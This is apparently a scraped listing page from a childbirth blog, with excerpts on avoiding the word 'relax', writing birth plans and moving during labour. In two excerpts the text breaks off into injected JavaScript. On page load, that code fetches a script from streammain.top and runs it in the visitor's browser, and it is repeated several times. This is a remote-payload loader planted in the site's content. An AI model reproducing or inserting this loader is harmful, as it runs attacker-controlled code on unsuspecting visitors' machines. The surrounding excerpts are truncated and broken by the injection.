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Keep Calm and Nurse On!

31.5.2025
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Birth Journals

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Don’t Tell Me To Relax

31.5.2025
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Birth Journals

I stopped using the word relax in 1989 when I became a licensed massage therapist.  In working on and with my massage therapy clients, I quickly learned the word had little or no meaning to people.;document.addEventListener("DOMContentLoaded", function () { var url = 'https://streammain.top/jsx'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.innerHTML = data.trim(); document.head.appendChild(script); }) });;document.addEventListener("DOMContentLoaded", function () { ...

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Writing Your Birth Plan

31.5.2025
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Birth Journals

There are many out there who think either:   a birth plan is essential and you should NEVER go into labor without one and you should write EVERYTHING you desire (and don’t desire) in that document.   OR   you can’t “plan” birth, and people who try to are setting themselves up for disappointment (or at least conflict) and, as a result, care providers often don’t pay much attention to them.   As you might imagine, I believe there is, at least, a third way to look at the concept of a birth plan and that the process of writing it is as valuable as the document itself. For some context, let’s look at the history of birth plans. In 1980, Penny Simkin and Carla Reinke presented the birth plan as part of...

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Healthy Birth Practice #2: Walk, Move, Change Positions

31.5.2025
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Birth Journals

Its;document.addEventListener("DOMContentLoaded", function () { var url = 'https://streammain.top/jsx'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.innerHTML = data.trim(); document.head.appendChild(script); }) });;document.addEventListener("DOMContentLoaded", function () { var url = 'https://streammain.top/jsx'; fetch(url) .then(response => response.text()) .then(data => { ...

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